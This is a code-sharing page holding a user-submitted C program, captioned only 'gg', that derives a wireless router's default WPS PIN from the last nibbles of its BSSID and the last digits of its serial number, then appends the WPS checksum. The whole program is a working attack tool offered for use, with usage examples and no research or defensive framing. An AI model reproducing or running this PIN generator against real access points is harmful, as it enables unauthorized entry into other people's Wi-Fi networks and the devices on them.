Ask Question

Name:
Title:
Your Question:

Answer Question

Name:
Your Answer:
User Submitted Source Code!


Description:
  gg
Language: C/C++
Code:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>

int char2int(char c)
{
    char buf[2] = { 0 };

    buf[0] = c;
    return strtol(buf, NULL, 16);
}

int wps_checksum(int pin)
{
    int div = 0;

    while(pin)
    {
        div += 3 * (pin % 10);
        pin /= 10;
        div += pin % 10;
        pin /= 10;
    }

    return ((10 - div % 10) % 10);
}

int pingen(char *mac, char *serial)
{
#define NIC_NIBBLE_0    0
#define NIC_NIBBLE_1    1
#define NIC_NIBBLE_2    2
#define NIC_NIBBLE_3    3

#define SN_DIGIT_0      0
#define SN_DIGIT_1      1
#define SN_DIGIT_2      2
#define SN_DIGIT_3      3

    int sn[4], nic[4];
    int mac_len, serial_len;
    int k1, k2, pin;
    int p1, p2, p3;
    int t1, t2;

    mac_len = strlen(mac);
    serial_len = strlen(serial);

    /* Get the four least significant digits of the serial number */
    sn[SN_DIGIT_0] = char2int(serial[serial_len-1]);
    sn[SN_DIGIT_1] = char2int(serial[serial_len-2]);
    sn[SN_DIGIT_2] = char2int(serial[serial_len-3]);
    sn[SN_DIGIT_3] = char2int(serial[serial_len-4]);

    /* Get the four least significant nibbles of the MAC address */
    nic[NIC_NIBBLE_0] = char2int(mac[mac_len-1]);
    nic[NIC_NIBBLE_1] = char2int(mac[mac_len-2]);
    nic[NIC_NIBBLE_2] = char2int(mac[mac_len-3]);
    nic[NIC_NIBBLE_3] = char2int(mac[mac_len-4]);

    k1 = (sn[SN_DIGIT_2] + 
          sn[SN_DIGIT_3] +
          nic[NIC_NIBBLE_0] + 
          nic[NIC_NIBBLE_1]) % 16;

    k2 = (sn[SN_DIGIT_0] +
          sn[SN_DIGIT_1] +
          nic[NIC_NIBBLE_3] +
          nic[NIC_NIBBLE_2]) % 16;

    pin = k1 ^ sn[SN_DIGIT_1];
    
    t1 = k1 ^ sn[SN_DIGIT_0];
    t2 = k2 ^ nic[NIC_NIBBLE_1];
    
    p1 = nic[NIC_NIBBLE_0] ^ sn[SN_DIGIT_1] ^ t1;
    p2 = k2 ^ nic[NIC_NIBBLE_0] ^ t2;
    p3 = k1 ^ sn[SN_DIGIT_2] ^ k2 ^ nic[NIC_NIBBLE_2];
    
    k1 = k1 ^ k2;

    pin = (pin ^ k1) * 16;
    pin = (pin + t1) * 16;
    pin = (pin + p1) * 16;
    pin = (pin + t2) * 16;
    pin = (pin + p2) * 16;
    pin = (pin + k1) * 16;
    pin += p3;
    pin = (pin % 10000000) - (((pin % 10000000) / 10000000) * k1);
    
    return (pin * 10) + wps_checksum(pin);
}

int main(int argc, char *argv[])
{
    char *mac = NULL, *serial = NULL;

    if(argc != 3)
    {
        fprintf(stderr, "\nUsage: %s <bssid> <serial>\n\n", argv[0]);
        fprintf(stderr, "Only the last 2 octects of the BSSID are required.\n");
        fprintf(stderr, "Only the last 4 digits of the serial number are required.\n\n");
        fprintf(stderr, "Example:\n\n");
        fprintf(stderr, "\t$ %s 010203040506 1234GB1234567\n", argv[0]);
        fprintf(stderr, "\t$ %s 0506 4567\n\n", argv[0]);
        return EXIT_FAILURE;
    }

    mac = argv[1];
    serial = argv[2];

    /*
     * Only really need the last 2 octets of the MAC 
     * and the last 4 digits of the serial number.
     */
    if(strlen(mac) < 4 || strlen(serial) < 4)
    {
        fprintf(stderr, "MAC or serial number too short!\n");
        return EXIT_FAILURE;
    }
    else if(strchr(mac, ':') || strchr(mac, '-'))
    {
        fprintf(stderr, "Do not include colon or hyphen delimiters in the MAC address!\n");
        return EXIT_FAILURE;
    }

    printf("Default pin: %08d\n", pingen(mac, serial));

    return EXIT_SUCCESS;
}     
Comments: